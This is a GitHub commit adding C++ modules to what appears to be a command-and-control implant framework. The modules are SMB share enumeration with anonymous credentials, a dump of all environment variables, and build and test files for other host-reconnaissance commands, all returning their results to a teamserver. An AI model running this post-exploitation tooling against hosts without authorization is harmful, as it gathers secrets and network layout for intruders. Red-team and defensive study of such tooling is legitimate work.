Skip to content

Commit 834cbeb

Browse files
authored
Merge pull request #10 from maxDcb/codex/implement-cross-platform-c++-modules
Add cross-platform system info modules
2 parents 8926a07 + e195ebc commit 834cbeb

21 files changed

+1026
-0
lines changed

modules/CMakeLists.txt

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,3 +41,8 @@ add_subdirectory(DotnetExec)
4141
add_subdirectory(PwSh)
4242
add_subdirectory(Shell)
4343

44+
add_subdirectory(GetEnv)
45+
add_subdirectory(Whoami)
46+
add_subdirectory(Netstat)
47+
add_subdirectory(IpConfig)
48+
add_subdirectory(EnumerateShares)
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
include_directories(../)
2+
add_library(EnumerateShares SHARED EnumerateShares.cpp)
3+
set_property(TARGET EnumerateShares PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
4+
if(UNIX)
5+
target_link_libraries(EnumerateShares smbclient)
6+
endif()
7+
add_custom_command(TARGET EnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
8+
$<TARGET_FILE:EnumerateShares> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:EnumerateShares>")
9+
10+
if(WITH_TESTS)
11+
add_executable(testsEnumerateShares tests/testsEnumerateShares.cpp EnumerateShares.cpp)
12+
if(UNIX)
13+
target_link_libraries(testsEnumerateShares smbclient)
14+
endif()
15+
add_custom_command(TARGET testsEnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
16+
$<TARGET_FILE:testsEnumerateShares> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
17+
add_test(NAME testsEnumerateShares COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
18+
endif()
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
#include "EnumerateShares.hpp"
2+
#include "Common.hpp"
3+
4+
#include <cstring>
5+
#ifdef _WIN32
6+
#include <windows.h>
7+
#include <lm.h>
8+
#pragma comment(lib, "netapi32.lib")
9+
#else
10+
#include <samba-4.0/libsmbclient.h>
11+
#endif
12+
13+
using namespace std;
14+
15+
constexpr std::string_view moduleName = "enumerateShares";
16+
constexpr unsigned long long moduleHash = djb2(moduleName);
17+
18+
#ifdef _WIN32
19+
__declspec(dllexport) EnumerateShares* EnumerateSharesConstructor()
20+
{
21+
return new EnumerateShares();
22+
}
23+
#else
24+
__attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor()
25+
{
26+
return new EnumerateShares();
27+
}
28+
#endif
29+
30+
EnumerateShares::EnumerateShares()
31+
#ifdef BUILD_TEAMSERVER
32+
: ModuleCmd(std::string(moduleName), moduleHash)
33+
#else
34+
: ModuleCmd("", moduleHash)
35+
#endif
36+
{
37+
}
38+
39+
EnumerateShares::~EnumerateShares()
40+
{
41+
}
42+
43+
std::string EnumerateShares::getInfo()
44+
{
45+
std::string info;
46+
#ifdef BUILD_TEAMSERVER
47+
info += "enumerateShares:\n";
48+
info += "List available SMB shares.\n";
49+
#endif
50+
return info;
51+
}
52+
53+
int EnumerateShares::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
54+
{
55+
std::string host;
56+
if(splitedCmd.size() > 1)
57+
host = splitedCmd[1];
58+
c2Message.set_instruction(splitedCmd[0]);
59+
c2Message.set_cmd(host);
60+
return 0;
61+
}
62+
63+
int EnumerateShares::process(C2Message& c2Message, C2Message& c2RetMessage)
64+
{
65+
std::string host = c2Message.cmd();
66+
std::string out = runEnum(host);
67+
c2RetMessage.set_instruction(c2Message.instruction());
68+
c2RetMessage.set_cmd(host);
69+
c2RetMessage.set_returnvalue(out);
70+
return 0;
71+
}
72+
73+
std::string EnumerateShares::runEnum(const std::string& host)
74+
{
75+
#ifdef _WIN32
76+
std::string result;
77+
std::wstring wserver;
78+
if(!host.empty())
79+
wserver = L"\\\\" + std::wstring(host.begin(), host.end());
80+
LPBYTE buf = nullptr;
81+
DWORD read = 0, total = 0, resume = 0;
82+
NET_API_STATUS status = NetShareEnum(host.empty()? NULL : (LPWSTR)wserver.c_str(), 1, &buf, MAX_PREFERRED_LENGTH, &read, &total, &resume);
83+
if(status == NERR_Success || status == ERROR_MORE_DATA)
84+
{
85+
PSHARE_INFO_1 info = (PSHARE_INFO_1)buf;
86+
for(DWORD i=0; i<read; ++i)
87+
{
88+
char name[256] = {0};
89+
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_netname, -1, name, sizeof(name), NULL, NULL);
90+
result += name;
91+
if(info[i].shi1_remark)
92+
{
93+
char rem[256] = {0};
94+
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_remark, -1, rem, sizeof(rem), NULL, NULL);
95+
result += " - ";
96+
result += rem;
97+
}
98+
result += "\n";
99+
}
100+
NetApiBufferFree(buf);
101+
}
102+
if(result.empty())
103+
result = "Enumeration failed or no shares";
104+
return result;
105+
#else
106+
std::string result;
107+
auto auth_fn = [](SMBCCTX*, const char*, const char*, char*, int, char* u, int ulen, char* p, int plen){ if(ulen>0) u[0]='\0'; if(plen>0) p[0]='\0'; };
108+
SMBCCTX* ctx = smbc_new_context();
109+
if(!ctx) return result;
110+
smbc_setOptionUseKerberos(ctx, 0);
111+
smbc_setOptionFallbackAfterKerberos(ctx, 1);
112+
smbc_setFunctionAuthDataWithContext(ctx, auth_fn);
113+
if(!smbc_init_context(ctx))
114+
{
115+
smbc_free_context(ctx, 1);
116+
return result;
117+
}
118+
smbc_set_context(ctx);
119+
std::string url = "smb://" + (host.empty()? std::string("") : host);
120+
int dir = smbc_opendir(url.c_str());
121+
if(dir >= 0)
122+
{
123+
struct smbc_dirent* ent;
124+
while((ent = smbc_readdir(dir)) != nullptr)
125+
{
126+
if(ent->smbc_type == SMBC_FILE_SHARE)
127+
{
128+
result += ent->name;
129+
result += '\n';
130+
}
131+
}
132+
smbc_closedir(dir);
133+
}
134+
smbc_free_context(ctx, 1);
135+
if(result.empty())
136+
result = "Enumeration failed or no shares";
137+
return result;
138+
#endif
139+
}
140+
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#pragma once
2+
3+
#include "ModuleCmd.hpp"
4+
5+
class EnumerateShares : public ModuleCmd
6+
{
7+
public:
8+
EnumerateShares();
9+
~EnumerateShares();
10+
11+
std::string getInfo();
12+
13+
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
14+
int process(C2Message& c2Message, C2Message& c2RetMessage);
15+
int osCompatibility()
16+
{
17+
return OS_LINUX | OS_WINDOWS;
18+
}
19+
20+
private:
21+
std::string runEnum(const std::string& host);
22+
};
23+
24+
#ifdef _WIN32
25+
extern "C" __declspec(dllexport) EnumerateShares* EnumerateSharesConstructor();
26+
#else
27+
extern "C" __attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor();
28+
#endif
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#include "../EnumerateShares.hpp"
2+
3+
bool testEnumerateShares();
4+
5+
int main()
6+
{
7+
bool res;
8+
std::cout << "[+] testEnumerateShares" << std::endl;
9+
res = testEnumerateShares();
10+
if (res)
11+
std::cout << "[+] Sucess" << std::endl;
12+
else
13+
std::cout << "[-] Failed" << std::endl;
14+
return !res;
15+
}
16+
17+
bool testEnumerateShares()
18+
{
19+
std::unique_ptr<EnumerateShares> mod = std::make_unique<EnumerateShares>();
20+
std::vector<std::string> cmd = {"enumerateShares"};
21+
C2Message msg, ret;
22+
mod->init(cmd, msg);
23+
mod->process(msg, ret);
24+
return !ret.returnvalue().empty();
25+
}

modules/GetEnv/CMakeLists.txt

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
include_directories(../)
2+
add_library(GetEnv SHARED GetEnv.cpp)
3+
set_property(TARGET GetEnv PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
4+
target_link_libraries(GetEnv )
5+
add_custom_command(TARGET GetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
6+
$<TARGET_FILE:GetEnv> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:GetEnv>")
7+
8+
if(WITH_TESTS)
9+
add_executable(testsGetEnv tests/testsGetEnv.cpp GetEnv.cpp)
10+
target_link_libraries(testsGetEnv )
11+
add_custom_command(TARGET testsGetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
12+
$<TARGET_FILE:testsGetEnv> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
13+
add_test(NAME testsGetEnv COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
14+
endif()

modules/GetEnv/GetEnv.cpp

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
#include "GetEnv.hpp"
2+
#include "Common.hpp"
3+
4+
#include <cstring>
5+
#ifdef _WIN32
6+
#include <windows.h>
7+
#else
8+
extern char **environ;
9+
#endif
10+
11+
using namespace std;
12+
13+
constexpr std::string_view moduleName = "getEnv";
14+
constexpr unsigned long long moduleHash = djb2(moduleName);
15+
16+
#ifdef _WIN32
17+
__declspec(dllexport) GetEnv* GetEnvConstructor()
18+
{
19+
return new GetEnv();
20+
}
21+
#else
22+
__attribute__((visibility("default"))) GetEnv* GetEnvConstructor()
23+
{
24+
return new GetEnv();
25+
}
26+
#endif
27+
28+
GetEnv::GetEnv()
29+
#ifdef BUILD_TEAMSERVER
30+
: ModuleCmd(std::string(moduleName), moduleHash)
31+
#else
32+
: ModuleCmd("", moduleHash)
33+
#endif
34+
{
35+
}
36+
37+
GetEnv::~GetEnv()
38+
{
39+
}
40+
41+
std::string GetEnv::getInfo()
42+
{
43+
std::string info;
44+
#ifdef BUILD_TEAMSERVER
45+
info += "getEnv:\n";
46+
info += "List environment variables.\n";
47+
#endif
48+
return info;
49+
}
50+
51+
int GetEnv::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
52+
{
53+
c2Message.set_instruction(splitedCmd[0]);
54+
return 0;
55+
}
56+
57+
int GetEnv::process(C2Message& c2Message, C2Message& c2RetMessage)
58+
{
59+
std::string out = listEnv();
60+
c2RetMessage.set_instruction(c2Message.instruction());
61+
c2RetMessage.set_returnvalue(out);
62+
return 0;
63+
}
64+
65+
std::string GetEnv::listEnv()
66+
{
67+
std::string result;
68+
#ifdef _WIN32
69+
LPCH env = GetEnvironmentStringsA();
70+
if(!env)
71+
return "Could not retrieve environment";
72+
for(LPCH var = env; *var; var += strlen(var) + 1)
73+
{
74+
result += var;
75+
result += "\n";
76+
}
77+
FreeEnvironmentStringsA(env);
78+
#else
79+
if(!environ)
80+
return result;
81+
for(char **p = environ; *p; ++p)
82+
{
83+
result += *p;
84+
result += "\n";
85+
}
86+
#endif
87+
return result;
88+
}
89+

modules/GetEnv/GetEnv.hpp

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#pragma once
2+
3+
#include "ModuleCmd.hpp"
4+
5+
class GetEnv : public ModuleCmd
6+
{
7+
public:
8+
GetEnv();
9+
~GetEnv();
10+
11+
std::string getInfo();
12+
13+
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
14+
int process(C2Message& c2Message, C2Message& c2RetMessage);
15+
int osCompatibility()
16+
{
17+
return OS_LINUX | OS_WINDOWS;
18+
}
19+
20+
private:
21+
std::string listEnv();
22+
};
23+
24+
#ifdef _WIN32
25+
extern "C" __declspec(dllexport) GetEnv* GetEnvConstructor();
26+
#else
27+
extern "C" __attribute__((visibility("default"))) GetEnv* GetEnvConstructor();
28+
#endif
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#include "../GetEnv.hpp"
2+
3+
bool testGetEnv();
4+
5+
int main()
6+
{
7+
bool res;
8+
std::cout << "[+] testGetEnv" << std::endl;
9+
res = testGetEnv();
10+
if (res)
11+
std::cout << "[+] Sucess" << std::endl;
12+
else
13+
std::cout << "[-] Failed" << std::endl;
14+
15+
return !res;
16+
}
17+
18+
bool testGetEnv()
19+
{
20+
std::unique_ptr<GetEnv> mod = std::make_unique<GetEnv>();
21+
std::vector<std::string> cmd = {"getEnv"};
22+
C2Message msg, ret;
23+
mod->init(cmd, msg);
24+
mod->process(msg, ret);
25+
return !ret.returnvalue().empty();
26+
}

modules/IpConfig/CMakeLists.txt

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
include_directories(../)
2+
add_library(IpConfig SHARED IpConfig.cpp)
3+
set_property(TARGET IpConfig PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
4+
target_link_libraries(IpConfig )
5+
add_custom_command(TARGET IpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
6+
$<TARGET_FILE:IpConfig> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:IpConfig>")
7+
8+
if(WITH_TESTS)
9+
add_executable(testsIpConfig tests/testsIpConfig.cpp IpConfig.cpp)
10+
target_link_libraries(testsIpConfig )
11+
add_custom_command(TARGET testsIpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
12+
$<TARGET_FILE:testsIpConfig> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
13+
add_test(NAME testsIpConfig COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
14+
endif()

0 commit comments

Comments
 (0)